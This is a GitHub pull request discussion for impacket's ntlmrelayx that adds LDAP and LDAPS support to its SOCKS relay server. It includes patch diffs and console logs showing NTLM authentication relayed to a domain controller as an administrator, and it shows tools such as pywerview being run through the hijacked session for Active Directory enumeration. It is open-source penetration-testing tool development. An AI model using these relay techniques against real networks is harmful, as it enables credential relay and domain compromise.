Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add support for LDAP and LDAPS protocols in ntlmrelayx SOCKS #1825

Open
wants to merge 2 commits into
base: master
Choose a base branch
from

Conversation

b1two
Copy link

@b1two b1two commented Oct 6, 2024

Adds support for LDAP and LDAPS protocols in the SOCKS server of ntlmrelayx.

This allows the use of any tool that works with LDAP(s) through the relay obtained using ntlmrelayx. Specifically, this eliminates the need to reimplement every LDAP attack within the LDAP interactive shell, allowing to use of any available PoC directly through the SOCKS server provided by ntlmrelayx.

Some technical details about the implementation:

  • I added a keep-alive method in the LDAP client (in impacket/examples/ntlmrelayx/clients/ldaprelayclient.py) that was not required until now. It simply performs a basic LDAP query to keep the connection alive.
  • NTLM message building was adapted from the smbserver example.
  • Once the SOCKS client authentication is completed, the relay simply forwards bytes from the client to the server and back, with no parsing involved. This approach seems more robust to me.
  • The LDAPS implementation reuses almost everything from LDAP, except for the polling of new data.

It should fix #514.

Please let me know if any adjustments or improvements are needed.

Short usage example:

$ ntlmrelayx.py -t ldaps://192.168.99.11 -socks
Impacket v0.13.0.dev0+20240916.171021.65b774de - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[...]
[*] SMB Socks Plugin loaded..
[*] LDAP Socks Plugin loaded..
[*] LDAPS Socks Plugin loaded..
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
 * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
 * Debug mode: off
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled

[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx>
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 192.168.99.31 controlled, attacking target ldaps://192.168.99.11
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldaps://192.168.99.11 as FF/ADMINISTRATOR SUCCEED
[*] SOCKS: Adding FF/[email protected](636) to active SOCKS connection. Enjoy

ntlmrelayx> socks
Protocol  Target         Username          AdminStatus  Port
--------  -------------  ----------------  -----------  ----
LDAPS     192.168.99.11  FF/ADMINISTRATOR  N/A          636
ntlmrelayx>
[*] LDAP: Proxying client session for FF/[email protected](636)
ntlmrelayx> 
[*] LDAP: Proxying client session for FF/[email protected](636)
ntlmrelayx> socks
Protocol  Target         Username          AdminStatus  Port
--------  -------------  ----------------  -----------  ----
LDAPS     192.168.99.11  FF/ADMINISTRATOR  N/A          636

@anadrianmanrique
Copy link
Contributor

anadrianmanrique commented Oct 25, 2024

hi @b1two . This looks like a relly interesting feature to integrate! thanks!
I'm starting to test this changes. After performing HTTP->LDAP relay I get the following ouput

ntlmrelayx> [+] KeepAlive Timer reached. Updating connections
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 10.2.10.12 controlled, attacking target ldap://10.2.10.10
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldap://10.2.10.10 as LUDUS/DOMAINUSER SUCCEED
[*] SOCKS: Adding LUDUS/[email protected](389) to active SOCKS connection. Enjoy
[+] Checking admin status for user LUDUS/DOMAINUSER
[+] isAdmin returned: N/A
[+] KeepAlive Timer reached. Updating connections
[+] Calling keepAlive() for LUDUS/[email protected]:389
[+] KeepAlive Timer reached. Updating connections
[+] Calling keepAlive() for LUDUS/[email protected]:389
[+] SOCKS: New Connection from 127.0.0.1(50750)
[+] SOCKS: Target is 10.2.10.10(445)
[-] SOCKS: Don't have a relay for 10.2.10.10(445)
[+] SOCKS: New Connection from 127.0.0.1(50756)
[+] SOCKS: Target is 10.2.10.10(389)
[+] Handler for port 389 found <class 'impacket.examples.ntlmrelayx.servers.socksplugins.ldap.LDAPSocksRelay'>
[+] Received 1 message(s)
[+] Got empty bind request
[+] Received 1 message(s)
[+] Got NTLM bind request
[+] Received 1 message(s)
[*] LDAP: Proxying client session for LUDUS/[email protected](389)
[+] Received 61 byte(s) from client
[+] Received 136 byte(s) from server
[+] Received 279 byte(s) from client
[+] Received 4096 byte(s) from server
[+] Received 4096 byte(s) from server
[+] Received 4096 byte(s) from server
[+] Received 4096 byte(s) from server
[+] Received 4096 byte(s) from server
several 
[+] Received 4096 byte(s) from server
[+] Received 2396 byte(s) from server
[+] Received 32 byte(s) from client
[+] Received 67 byte(s) from server
[+] Received 0 byte(s) from client
[+] Finished tunnelling

this was trying pywerview:

└─$ proxychains python3 pywerview.py get-netgroup -w ludus -u domainuser -p p --dc-ip 10.2.10.10
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-10.2.10.10:445-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-10.2.10.10:389-<><>-OK
Traceback (most recent call last):
  File "/home/kali/pywerview/pywerview.py", line 23, in <module>
    main()
  File "/home/kali/pywerview/pywerview/cli/main.py", line 636, in main
    results = args.func(**parsed_args)
              ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/pywerview/pywerview/cli/helpers.py", line 120, in get_netgroup
    return requester.get_netgroup(queried_groupname=queried_groupname,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/pywerview/pywerview/requester.py", line 520, in wrapper
    return f(*args, **kwargs)
           ^^^^^^^^^^^^^^^^^^
  File "/home/kali/pywerview/pywerview/functions/net.py", line 386, in get_netgroup
    return self._ldap_search(group_search_filter, adobj.Group, attributes=attributes)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/pywerview/pywerview/requester.py", line 491, in _ldap_search
    for result in search_results:
                  ^^^^^^^^^^^^^^
  File "/home/kali/.local/lib/python3.12/site-packages/ldap3/extend/standard/PagedSearch.py", line 47, in paged_search_generator
    search_base = safe_dn(search_base)
                  ^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/lib/python3.12/site-packages/ldap3/utils/dn.py", line 353, in safe_dn
    for component in parse_dn(dn, escape=True):
                     ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/lib/python3.12/site-packages/ldap3/utils/dn.py", line 319, in parse_dn
    raise LDAPInvalidDnError('unable to validate attribute value in ' + ava)
ldap3.core.exceptions.LDAPInvalidDnError: unable to validate attribute value in dc=

any idea what could be happening?

@b1two
Copy link
Author

b1two commented Oct 26, 2024

Hello, thanks for testing this PR.

I checked and pywerview actually performs an SMB bind to retrieve the FQDN of the domain prior to performing the action (see https://github.com/the-useless-one/pywerview/blob/973ed7933b5621d88960152bba422e6644327d34/pywerview/requester.py#L353). Since there was no relay available for SMB ([-] SOCKS: Don't have a relay for 10.2.10.10(445) in the output of ntlmrelayx), it fails and tries to keep going with the LDAP queries and an empty FQDN. That is why ldap3 cannot validate the value of dc=.

You can either use the -d option of pywerview so that it does not perform the first SMB connection, or have both the LDAP and SMB relays available in ntlmrelayx.

For the second option, I did not manage to make it work without the following two patches to impacket.

  • The first patch to impacket/examples/ntlmrelayx/utils/targetsutils.py allows to have multiple relays for different protocols for a single host, so in our case LDAP and SMB for the domain controller. Without it, when a relay is obtained with --no-multirelay for either protocol (say LDAP) for a host, the rest of the targets for this host are ignored (for instance SMB), and ntlmrelayx returns Connection from <IP> controlled, but there are no more targets left!.
    Side note: pywerview only uses information taken from the NTLM authentication with the domain controller, so even if there is SMB signing required, it will still work:
    https://github.com/the-useless-one/pywerview/blob/973ed7933b5621d88960152bba422e6644327d34/pywerview/requester.py#L353
    def getServerDNSDomainName(self):

    return self.__server_dns_domain_name

    self.__server_dns_domain_name = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le')
  • The second patch to impacket/nmb.py is fixing an exception in impacket that is triggered by pywerview during the SMB exchange. I did not dig too much into it, but it seems that in the rawData method of NetBIOSSessionPacket, the value of self._trailer could be either bytes or SMB2Packet, so we need to call .getData() on the SMB2Packet value to get bytes as well.
    The stacktrace of the error in question:
Traceback (most recent call last):
  File "/home/user/impacket/impacket/examples/ntlmrelayx/servers/socksserver.py", line 433, in handle
    relay.tunnelConnection()
  File "/home/user/impacket/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py", line 180, in tunnelConnection
    self.__NBSession.send_packet(data)
  File "/home/user/impacket/impacket/nmb.py", line 915, in send_packet
    self._sock.sendall(p.rawData())
                       ^^^^^^^^^^^
  File "/home/user/impacket/impacket/nmb.py", line 691, in rawData
    data = pack('!BBH', self.type, self.length >> 16, self.length & 0xFFFF) + self._trailer
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^~~~~~~~~~~~~~~
TypeError: can't concat SMB2Packet to bytes

The patches:

diff --git a/impacket/examples/ntlmrelayx/utils/targetsutils.py b/impacket/examples/ntlmrelayx/utils/targetsutils.py
index 7e119d67..6f4fdaa8 100644
--- a/impacket/examples/ntlmrelayx/utils/targetsutils.py
+++ b/impacket/examples/ntlmrelayx/utils/targetsutils.py
@@ -157,7 +157,7 @@ class TargetsProcessor:
             # Multirelay feature is disabled, general candidates are attacked just one time
             elif multiRelay == False:
                 for target in self.generalCandidates:
-                    match = [x for x in self.finishedAttacks if x.hostname == target.netloc]
+                    match = [x for x in self.finishedAttacks if x.hostname == target.netloc and x.scheme == target.scheme]
                     if len(match) == 0:
                         self.generalCandidates.remove(target)
                         return target
diff --git a/impacket/nmb.py b/impacket/nmb.py
index 7cf6412a..a7f451d6 100644
--- a/impacket/nmb.py
+++ b/impacket/nmb.py
@@ -686,10 +686,13 @@ class NetBIOSSessionPacket:
         return self.type

     def rawData(self):
+        trailer = self._trailer
+        if type(self._trailer) != bytes:
+            trailer = self._trailer.getData()
         if self.type == NETBIOS_SESSION_MESSAGE:
-            data = pack('!BBH', self.type, self.length >> 16, self.length & 0xFFFF) + self._trailer
+            data = pack('!BBH', self.type, self.length >> 16, self.length & 0xFFFF) + trailer
         else:
-            data = pack('!BBH', self.type, self.flags, self.length) + self._trailer
+            data = pack('!BBH', self.type, self.flags, self.length) + trailer
         return data

     def set_trailer(self, data):

In the end, with the two relays in place, pywerview seems to work fine:

  • ntlmrelayx side:
$ cat targets.txt
ldap://192.168.99.11
smb://192.168.99.11


$ python3 examples/ntlmrelayx.py -tf targets.txt -socks -smb2support --no-multirelay
Impacket v0.13.0.dev0+20241006.154637.6b688a85 - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to hosts in targetfile
[*] SOCKS proxy started. Listening on 127.0.0.1:1080
[*] HTTPS Socks Plugin loaded..
[*] IMAP Socks Plugin loaded..
[*] SMTP Socks Plugin loaded..
[*] MSSQL Socks Plugin loaded..
[*] LDAP Socks Plugin loaded..
[*] IMAPS Socks Plugin loaded..
[*] SMB Socks Plugin loaded..
[*] LDAPS Socks Plugin loaded..
[*] HTTP Socks Plugin loaded..
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
 * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
 * Debug mode: off
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled

[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx>
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 192.168.99.31 controlled, attacking target ldap://192.168.99.11
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldap://192.168.99.11 as FF/ADMINISTRATOR SUCCEED
[*] SOCKS: Adding FF/[email protected](389) to active SOCKS connection. Enjoy
ntlmrelayx>
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 192.168.99.31 controlled, attacking target smb://192.168.99.11
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against smb://192.168.99.11 as FF/ADMINISTRATOR SUCCEED
[*] SOCKS: Adding FF/[email protected](445) to active SOCKS connection. Enjoy
ntlmrelayx> socks
Protocol  Target         Username          AdminStatus  Port
--------  -------------  ----------------  -----------  ----
LDAP      192.168.99.11  FF/ADMINISTRATOR  N/A          389
SMB       192.168.99.11  FF/ADMINISTRATOR  TRUE         445
ntlmrelayx>
[*] SOCKS: Proxying client session for FF/[email protected](445)
[*] LDAP: Proxying client session for FF/[email protected](389)
  • pywerview side:
$ proxychains4 pywerview get-netgroup -u Administrator -w FF -p p --dc-ip 192.168.99.11
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.99.11:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.99.11:389  ...  OK
samaccountname: test
samaccountname: DnsUpdateProxy
samaccountname: DnsAdmins
samaccountname: Enterprise Key Admins
samaccountname: Key Admins
[...]

Let me know if that works on your side as well.

@b1two
Copy link
Author

b1two commented Oct 26, 2024

This made me realize that I was building the NTLM challenge message for the client with dummy data, although it works, it may cause issues for tools that rely on the information in this message.
https://github.com/b1two/impacket/blob/6b688a8524c9dfbb2a0cb859b3cea1e3cdd9c135/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py#L106

I have a (tiny) working patch that, instead of building the whole message from scratch, uses the one that was received from the real server during the relay. I pushed the modifications in another branch: b1two@6c5f97d

Do you want me to update this PR to reflect this change?

@anadrianmanrique
Copy link
Contributor

@b1two yes please! thank you!
FYI: I'll be on vacations for 2 weeks with limited access to the repo, so I'll try to review/test changes as soon as I can.

@dkjajhqu2h3j
Copy link

Hi. I am trying to proxy Bloodhound.py using this PR but it does not fully work. Bloodhound.py requires both port 389 and port 3268 to work so I configure ntlmrelayx to setup SOCKS servers on both ports using your two patches above. However, once Bloodhound.py attempts to use port 3268, ntlmrelayx outputs "...(389) is being used at the moment!" and Bloodhound.py crashes.

Any ideas? Thanks!

ntlmlrelayx:
ntlmrelayx1
ntlmrelayx

bloodhound.py:
bloodhound py

@b1two
Copy link
Author

b1two commented Nov 4, 2024

@anadrianmanrique Done! No worries, I am quite busy myself these days.
We recently had to use this MR to proxify ADExplorer. However, it sends LDAP requests before performing the NTLM authentication, so we are not able to identify through which relay we should send these first messages. To fix this issue, I added the handling of these pre-authentication messages (supportedCapabilities and supportedSASLMechanisms) by forging LDAP responses. These draft changes are available here: eaf1ae1.
What do you think of such solution? In case it is fine, should we discuss what data to send back to the client?

@dkjajhqu2h3j I will look into it, but I think that the issue is likely to come from Bloodhound.py trying to use multiple connections to the LDAP server in parallel (LDAP: Proxying client session for ADLAB1/[email protected](3268) seems to indicate that it was able to relay to the global catalog).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
medium Medium priority item
Projects
None yet
Development

Successfully merging this pull request may close these issues.

LDAP relay in ntlmrelayx does not create active sessions
3 participants